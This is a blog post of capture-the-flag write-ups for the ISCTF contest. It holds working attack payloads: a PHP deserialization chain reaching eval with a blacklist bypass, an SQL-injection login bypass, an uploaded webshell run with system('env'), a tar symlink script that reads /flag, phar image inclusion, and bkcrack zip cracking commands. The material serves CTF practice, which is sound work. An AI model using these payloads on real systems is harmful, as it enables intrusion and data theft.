ISCTF部分题目WP
本文最后更新于102 天前,其中的信息可能已经过时,如有错误请发送邮件到big_fw@foxmail.com

小蓝鲨的RC4系统 Writeup

题目给了一份 RC4 实现的 task.py,末尾写着 #ISCTF2025 和一段十六进制密文。

脚本特点

• KSA/PRGA 都是标准 RC4,但密钥先做了 sha256(key)。

• crypt 直接异或,可用于加密也可用于解密。

解密步骤

1. 读取密文:ba19a7116763ba8ba1c236c6bdc30187dcc8afb28c8fa5f26676388

0b74f5fff915613718f4d19c3baf4bbe24bd57303ce103d

2. 密钥取注释里的 ISCTF2025,按脚本逻辑先 sha256。

3. 用同一个 StreamCipher 对密文字节流调用 crypt 即可得到明文。

ezpop 题解(PHP 反序列化 POP

题目概览

• 入口:unserialize($_POST[‘ISCTF’]);,无其它逻辑,源码直接展示。

• 目标:读 /flag 文件。类与触发点

• begin

◦ __construct($a) 把 $a 存到 $var1。

◦ __destruct() 输出 $this->var1;若为对象会触发其 __toString()。

◦ __toString() 调用 $this->var2()。

• starlord、anna:可用于别的链,这里无需使用。

• eenndd::__get():eval($this->command),但会用正则黑名单拦截包含 flag|

system|…|空格。

• flaag::__invoke():md5(md5($this->var11)) == 666 时返回 $this->var10-

>hey。

利用链设计

1. 外层 begin 析构时输出 $var1 → 触发内层 begin::__toString。

2. 内层 begin::__toString 调用 $var2() → 即 flaag::__invoke。

3. flaag::__invoke 校验双重 md5;213 满足 md5(md5(213)) 以 666 开头。

4. flaag 返回 $var10->hey,访问不存在属性 hey 触发 eenndd::__get。

5. eenndd::__get 执行 eval($command),可执行任意 PHP 代码。

关键绕过

• 黑名单包含 flag 与空格,使用字符串拼接:’/f’.’lag’,无空格、无连续 flag。

• 代码示例:echo(file_get_contents(‘/f’.’lag’));

序列化结构

• 最终对象:begin(var1 = begin(var1=NULL,

var2=flaag(var10=eenndd(command=payload), var11=”213″)), var2=NULL)

• Payload(POST 参数 ISCTF):

O:5:"begin":2:{s:4:"var1";O:5:"begin":2:{s:4:"var1";N;s:4:"var2";O:5:"flaag":2:

{s:5:"var10";O:6:"eenndd":1:{s:7:"command";s:36:"echo(file_get_contents('/

f'.'lag'));";}s:5:"var11";s:3:"213";}}s:4:"var2";N;}

flag到底在哪 (web/flag到底在哪.md)

flag到底在哪

dirsearch扫描扫出来路径 /admin/login.php

进去admin登录

考虑password使用万能密码

password=1’ OR ‘1’=’1&username=admin

进去直接上传一句话木马就可以

访问webshell/XXX.php

Post传入hack=system(“env”);

flag我借走了 (web/flag我借走了.md)

漏洞:后端自动解压 tar 未过滤成员路径,可通过软链接越权读取 /flag。

复现:制作含软链接的 tar(文件名 flag 指向 /flag),上传后访问 /download/flag 即可得

到 flag。制作脚本:

import tarfile

with tarfile.open("symlink.tar", "w") as t:

info = tarfile.TarInfo("flag")

info.type = tarfile.SYMTYPE

info.linkname = "/flag"

t.addfile(info)

来签个到吧 (web/来签个到吧/来签个到吧.md)

审计附件,发现首页处显然存在反序列化漏洞:

$ss = substr($s, strlen(“blueshark:”));

$o = @unserialize($ss); // ← 这里存在漏洞

然后注意到引用require_once “./classes.php”,故可以通过该类来构造攻击代码。

在classes.php中很显然能看到明显问题:ShitMountant类在__destruct()时会调用fetch()

方法,会使用file_get_contents($this->url)读取URL内容。那么我们可以构造伪协议来读

取本地文件。据此,可以构造序列化字符串:

<?php

class FileLogger {

public $logfile = "/tmp/notehub.log";

public $content = "";

}

class ShitMountant {

public $url;

public $logger;

public function __construct($url) {

$this->url = $url;

$this->logger = new FileLogger();

}}

// 创建恶意对象

$obj = new ShitMountant("file:///flag");

$payload = serialize($obj);

echo "blueshark:" . $payload;

?>

include_upload
考虑phar的文件包含,先生成一个可用的phar:(php语法)
接着对其进行gzip压缩,获得图片马,注意文件名需要包含 .phar,其他怎么搞都可以
比如以 12.phar.png 为文件名,上传后包含:
include.php?file=12.phar.png,即可得到flag




小蓝鲨的千层FLAG (杂项/小蓝鲨的千层FLAG.md)
我把这一层层嵌套的 zip 都翻了个遍,并把解压过程做成了自动化脚本,压缩层都是
WinZip 的 AES 加密包,下一层的密码写在 zip 的注释里;这条“密码链”一直有效,直到
flagggg3.zip
破解 flagggg3.zip,解出内层 flagggg1.zip 并获取 flag。
环境与工具
Windows(PowerShell)
bkcrack 1.8.1(win64)
Python 3 + python-docx(仅用于生成文档)
思路
ZipCrypto 可用已知明文攻击:若已知至少 12 字节明文(其中 8 字节连续),可恢复内
部密钥并解密同密码的其他条目。
压缩包注释暗示要知道里面内容,猜测内层文件名为 flagggg1.zip,用它作已知明文。
步骤
准备已知明文:内容为 flagggg1.zip,写入 known_plain.bin。
已知明文攻击:bkcrack.exe -C flagggg3.zip -c flagggg2.zip -p known_plain.bin -o 30
(偏移 30)。
获取内部密钥:ae0c4b27 66c21cba b9a7958f。
解密目标条目:bkcrack.exe -C flagggg3.zip -c flagggg2.zip -k ae0c4b27 66c21cba
b9a7958f -d flagggg2_decrypted.zip。
解压解密结果得到 flagggg1.zip,继续解压得到 flagggg.txt。
关键命令
‘flagggg1.zip’ | Set-Content -Encoding ascii known_plain.bin
bkcrack.exe -C flagggg3.zip -c flagggg2.zip -p known_plain.bin -o 30
bkcrack.exe -C flagggg3.zip -c flagggg2.zip -k ae0c4b27 66c21cba b9a7958f -d
flagggg2_decrypted.zip
tar -xf flagggg2_decrypted.zip
tar -xf flagggg1.zip
结果
flagggg.txt 内容:ISCTF{3f165c87-c0d4-4903-9c47-3a8d3b9c83df}。

文末附加内容
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇